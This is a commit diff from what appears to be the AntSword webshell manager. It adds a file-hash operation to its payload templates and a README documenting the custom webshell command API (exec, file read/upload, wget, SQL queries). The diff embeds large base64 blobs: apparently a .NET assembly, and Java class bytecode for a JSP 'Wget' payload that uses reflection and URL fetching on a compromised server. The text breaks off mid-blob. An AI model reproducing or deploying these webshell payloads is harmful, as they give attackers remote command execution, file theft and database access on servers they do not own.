AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAABEAgAAAAAAAAAAAABEAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEpAEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAgAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADAALgAwAC4AMAAuADAAAAA4AAwAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEYATQBfAFcAZwBlAHQALgBkAGwAbAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABAAAwAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAARgBNAF8AVwBnAGUAdAAuAGQAbABsAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAFA9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
,
'url'
:
'#{newbase64::url}'
,
'url'
:
'#{newbase64::url}'
,
'path'
:
'#{newbase64::path}'
'path'
:
'#{newbase64::path}'
}
},
filehash
:
{
_
:
``
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
'#{newbase64::path}'
,
},
})
})
\ No newline at end of file
source/core/cmdlinux/template/filemanager.js
View file @
dafb7a30
...
@@ -77,5 +77,9 @@ module.exports = (arg1, arg2, arg3) => ({
...
@@ -77,5 +77,9 @@ module.exports = (arg1, arg2, arg3) => ({
fi;
fi;
$ascurl #{path} #{url} && echo -n 1||echo -n 0;
$ascurl #{path} #{url} && echo -n 1||echo -n 0;
`
.
replace
(
/
\n\s
+/g
,
''
)
`
.
replace
(
/
\n\s
+/g
,
''
)
}
},
filehash
:
{
_
:
``
.
replace
(
/
\n\s
+/g
,
''
),
},
})
})
\ No newline at end of file
source/core/custom/README.md
0 → 100644
View file @
dafb7a30
# AntSword Custom API
## Base
Code | Function | Param
:-:|:--|:--
A |
`info`
|
`{}`
Z |
`probedb`
|
`{}`
## FileManager
Code | Function | Param
:-:|:--|:--
B |
`dir`
|
`{"z1": "path"}`
C |
`read_file`
|
`{"z1": "path"}`
D |
`creat_file`
|
`{"z1": "path", "z2": "content"}`
E |
`delete`
|
`{"z1": "path"}`
F |
`download_file`
|
`{"z1": "path"}`
H |
`copy`
|
`{"z1": "path", "z2": "target"}`
I |
`rename`
|
`{"z1": "path", "z2": "name"}`
K |
`retime`
|
`{"z1": "path", "z2": "time"}`
J |
`mkdir`
|
`{"z1": "path"}`
L |
`wget`
|
`{"z1": "url", "z2": "path"}`
U |
`upload_file`
|
`{"z1": "path", "z2": "buffer::content"}`
G |
`filehash`
|
`{"z1": "path"}`
## Command
Code | Function | Param
:-:|:--|:--
M |
`exec`
|
`{"z1": "bin", "z2": "cmd", "z3": "env"}`
Y |
`listcmd`
|
`{"z1": "binarr"}`
# Database
Code | Function | Param
:-:|:--|:--
N |
`show_databases`
|
`{"z0": "encode", "z1": "conn"}`
O |
`show_tables`
|
`{"z0": "encode", "z1": "conn", "z2": "db"}`
P |
`show_columns`
|
`{"z0": "encode", "z1": "conn", "z2": "db", "z3": "table"}`
Q |
`query`
|
`{"z0": "encode", "z1": "conn", "z2": "sql"}`
\ No newline at end of file
source/core/custom/template/filemanager.js
View file @
dafb7a30
...
@@ -62,5 +62,9 @@ module.exports = () => ({
...
@@ -62,5 +62,9 @@ module.exports = () => ({
_
:
'L'
,
_
:
'L'
,
'z1'
:
'#{url}'
,
'z1'
:
'#{url}'
,
'z2'
:
'#{path}'
'z2'
:
'#{path}'
}
},
filehash
:
{
_
:
'G'
,
'z1'
:
'#{path}'
,
},
})
})
\ No newline at end of file
source/core/jsp/template/filemanager.js
View file @
dafb7a30
...
@@ -68,5 +68,10 @@ module.exports = (arg1, arg2, arg3) => ({
...
@@ -68,5 +68,10 @@ module.exports = (arg1, arg2, arg3) => ({
_
:
'yv66vgAAADEBFwoAQwB8CQBgAH0JAGAAfggAfwkAYACACACBCQBgAIIIAIMJAGAAhAoAYACFBwCGCgALAHwIAIcIAIgIAIkIAIoIAIsIAIwLAD0AjQsAPACOCwA9AI4LADwAjwoAYACQCQBgAJEKAGAAkgoACwCTBwCUBwCVCgAcAHwIAJYKABwAlwoAGwCYCgAcAJgLAD0AmQoACwCYCgBgAJoKAJsAnAoAnQCeCgApAJ8KACkAoAcAoQoAYACiCgApAKMHAKQKACwApQcApgoALgClCgAsAKcHAKgKADEAqQoAqgCrCgAuAKwKAC4ArQoAqgCtCgAxAK4IAK8KAEMAsAoAQQCxBwCyBwCzBwC0CAC1CgBBALYIALcHALgKAEEAuQcAugoAuwC8CAC9CABhCgBBAL4KAL8AwAoAvwDBCABjBwDCCADDBwDECQCdAMUKALsAwAoAQQDGCgCdAMcKAEEAyAoAyQDKCgBDAJgIAMsKAMwAzQgAzgoAKQDPCADQCADRCgBBANIIAHAIANMIANQKAEEA1QcA1gEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAxyYW5kb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEABmRlY29kZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEACFdnZXRDb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhwYXJzZU9iagEAFShMamF2YS9sYW5nL09iamVjdDspVgEACGFzb3V0cHV0AQASQmFzZTY0RGVjb2RlVG9CeXRlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAClNvdXJjZUZpbGUBAAlXZ2V0LmphdmEMAGoAawwAYQBiDABjAGQBAAZiYXNlNjQMAGUAZgEAD2FudHN3b3JkQ2hhcnNldAwAZwBmAQAUYW50c3dvcmRyYW5kb21QcmVmaXgMAGgAZgwAdQB2AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+fAEAA3w8LQEADmFudHN3b3JkYXJndXJsAQAPYW50c3dvcmRhcmdwYXRoAQASYW50c3dvcmRhcmdkZWNvZGVyAQAJdGV4dC9odG1sDADXANgMANkA2AwA2gBxDABwAHEMAGkAZgwAcwB0DADbANwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAlFUlJPUjovLyAMANsA3QwA3gDfDADgAOEMAHcAcQcA4gwA4wDYBwDkDADlAOYMAOcA6AwAbgBvAQAQamF2YS9sYW5nL1N0cmluZwwAeAB5DABqAOkBAAxqYXZhL25ldC9VUkwMAGoA2AEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwA6gDrAQAaamF2YS9uZXQvSHR0cFVSTENvbm5lY3Rpb24MAOwA7QcA7gwA7wDwDADxAPIMAPMAawwA9ABrAQABMQwA9QD2DAD3APgBABNbTGphdmEvbGFuZy9PYmplY3Q7AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAdamF2YXguc2VydmxldC5qc3AuUGFnZUNvbnRleHQMAPkA+gEACmdldFJlcXVlc3QBAA9qYXZhL2xhbmcvQ2xhc3MMAPsA/AEAEGphdmEvbGFuZy9PYmplY3QHAP0MAP4A/wEAC2dldFJlc3BvbnNlDAEAAQEHAQIMAQMBBAwBBQEGAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQALZGVmaW5lQ2xhc3MBAAJbQgwBBwEIDAEJAQoMAQsBDAwBDQEOBwEPDAEQAREBAAxqYXZhLnZlcnNpb24HARIMARMAcQEAAzEuOQwBFADmAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMARUA/AEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIMARABFgEAEGZpbGVtYW5hZ2VyL1dnZXQBAA5zZXRDb250ZW50VHlwZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFcHJpbnQBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5vcGVuQ29ubmVjdGlvbgEAGigpTGphdmEvbmV0L1VSTENvbm5lY3Rpb247AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAVjbG9zZQEACmRpc2Nvbm5lY3QBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAdpc0FycmF5AQADKClaAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZp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'
,
_
:
'yv66vgAAADEBFwoAQwB8CQBgAH0JAGAAfggAfwkAYACACACBCQBgAIIIAIMJAGAAhAoAYACFBwCGCgALAHwIAIcIAIgIAIkIAIoIAIsIAIwLAD0AjQsAPACOCwA9AI4LADwAjwoAYACQCQBgAJEKAGAAkgoACwCTBwCUBwCVCgAcAHwIAJYKABwAlwoAGwCYCgAcAJgLAD0AmQoACwCYCgBgAJoKAJsAnAoAnQCeCgApAJ8KACkAoAcAoQoAYACiCgApAKMHAKQKACwApQcApgoALgClCgAsAKcHAKgKADEAqQoAqgCrCgAuAKwKAC4ArQoAqgCtCgAxAK4IAK8KAEMAsAoAQQCxBwCyBwCzBwC0CAC1CgBBALYIALcHALgKAEEAuQcAugoAuwC8CAC9CABhCgBBAL4KAL8AwAoAvwDBCABjBwDCCADDBwDECQCdAMUKALsAwAoAQQDGCgCdAMcKAEEAyAoAyQDKCgBDAJgIAMsKAMwAzQgAzgoAKQDPCADQCADRCgBBANIIAHAIANMIANQKAEEA1QcA1gEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAxyYW5kb21QcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEABmRlY29kZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEACFdnZXRDb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAhwYXJzZU9iagEAFShMamF2YS9sYW5nL09iamVjdDspVgEACGFzb3V0cHV0AQASQmFzZTY0RGVjb2RlVG9CeXRlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAClNvdXJjZUZpbGUBAAlXZ2V0LmphdmEMAGoAawwAYQBiDABjAGQBAAZiYXNlNjQMAGUAZgEAD2FudHN3b3JkQ2hhcnNldAwAZwBmAQAUYW50c3dvcmRyYW5kb21QcmVmaXgMAGgAZgwAdQB2AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+fAEAA3w8LQEADmFudHN3b3JkYXJndXJsAQAPYW50c3dvcmRhcmdwYXRoAQASYW50c3dvcmRhcmdkZWNvZGVyAQAJdGV4dC9odG1sDADXANgMANkA2AwA2gBxDABwAHEMAGkAZgwAcwB0DADbANwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAlFUlJPUjovLyAMANsA3QwA3gDfDADgAOEMAHcAcQcA4gwA4wDYBwDkDADlAOYMAOcA6AwAbgBvAQAQamF2YS9sYW5nL1N0cmluZwwAeAB5DABqAOkBAAxqYXZhL25ldC9VUkwMAGoA2AEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwA6gDrAQAaamF2YS9uZXQvSHR0cFVSTENvbm5lY3Rpb24MAOwA7QcA7gwA7wDwDADxAPIMAPMAawwA9ABrAQABMQwA9QD2DAD3APgBABNbTGphdmEvbGFuZy9PYmplY3Q7AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAdamF2YXguc2VydmxldC5qc3AuUGFnZUNvbnRleHQMAPkA+gEACmdldFJlcXVlc3QBAA9qYXZhL2xhbmcvQ2xhc3MMAPsA/AEAEGphdmEvbGFuZy9PYmplY3QHAP0MAP4A/wEAC2dldFJlc3BvbnNlDAEAAQEHAQIMAQMBBAwBBQEGAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQALZGVmaW5lQ2xhc3MBAAJbQgwBBwEIDAEJAQoMAQsBDAwBDQEOBwEPDAEQAREBAAxqYXZhLnZlcnNpb24HARIMARMAcQEAAzEuOQwBFADmAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMARUA/AEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIMARABFgEAEGZpbGVtYW5hZ2VyL1dnZXQBAA5zZXRDb250ZW50VHlwZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFcHJpbnQBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5vcGVuQ29ubmVjdGlvbgEAGigpTGphdmEvbmV0L1VSTENvbm5lY3Rpb247AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAVjbG9zZQEACmRpc2Nvbm5lY3QBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAdpc0FycmF5AQADKClaAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAA5nZXRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAljb21wYXJlVG8BAAlnZXRNZXRob2QBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwAhAGAAQwAAAAYAAQBhAGIAAAABAGMAZAAAAAEAZQBmAAAAAQBnAGYAAAABAGgAZgAAAAEAaQBmAAAABwABAGoAawABAGwAAABNAAIAAQAAACEqtwABKgG1AAIqAbUAAyoSBLUABSoSBrUAByoSCLUACbEAAAABAG0AAAAaAAYAAAALAAQADAAJAA0ADgAOABQADwAaABAAAQBuAG8AAQBsAAABUQAEAAoAAADZKiu2AAq7AAtZtwAMTRINThIOOgQSDzoFEhA6BhIROgcqtAADEhK5ABMCACq0AAIqtAAHuQAUAgAqtAADKrQAB7kAFQIAKiq0AAIZBbkAFgIAtgAXOggqKrQAAhkGuQAWAgC2ABc6CSoqKrQAAhkHuQAWAgC2ABe1ABgsKhkIGQm2ABm2ABpXpwAhOggsuwAcWbcAHRIetgAfGQi2ACC2AB+2ACG2ABpXKrQAA7kAIgEAuwAcWbcAHS22AB8qLLYAI7YAJLYAHxkEtgAftgAhtgAlpwAFOggErAACACAAhwCKABsAqADSANUAGwABAG0AAABWABUAAAAVAAUAFgANABcAEAAYABQAGQAYABoAHAAbACAAHgArAB8AOAAgAEUAIQBWACIAZwAjAHoAJACHACcAigAlAIwAJgCoACkA0gArANUAKgDXACwAAABwAHEAAgBsAAAAdQAEAAQAAAA1Az0qtAAJuAAmPSsctgAnTKcABk4DPSq0AAUSBLYAKJkAFLsAKVkqK7YAKiq0AAe3ACuwK7AAAQACABAAEwAbAAEAbQAAACYACQAAADAAAgAyAAoAMwAQADYAEwA0ABQANQAWADcAIgA4ADMAOgByAAAABAABABsAAABzAHQAAgBsAAAAogAEAAkAAABauwAsWSu3AC1OAzYEuwAuWSy3AC86BS22ADDAADE6BhkGtgAyOgcRAgC8CDoIGQcZCLYAM1k2BAKfABAZBRkIAxUEtgA0p//oGQW2ADUZB7YANhkGtgA3EjiwAAAAAQBtAAAANgANAAAAPgAJAD8ADABAABYAQQAfAEIAJgBDAC0ARAA7AEUARQBGAEgARwBNAEgAUgBJAFcASgByAAAABAABABsAAQB1AHYAAQBsAAABaAAEAAYAAADcK7YAObYAOpkAIivAADvAADtNKiwDMsAAPLUAAiosBDLAAD21AAOnALUSPrgAP00qLBJAA70AQbYAQisDvQBDtgBEwAA8tQACKiwSRQO9AEG2AEIrA70AQ7YARMAAPbUAA6cAek0rwQA8mQByKivAADy1AAIqtAACtgA5Eka2AEdOLQS2AEgtKrQAArYAScAAPDoEGQS2ADkSSrYARzoFGQUEtgBIKhkFGQS2AEnAAD21AAOnAChOKiq0AAK2ADkSRQO9AEG2AEIrA70AQ7YARMAAPbUAA6cABToEsQADACkAYQBkABsAdACzALYAG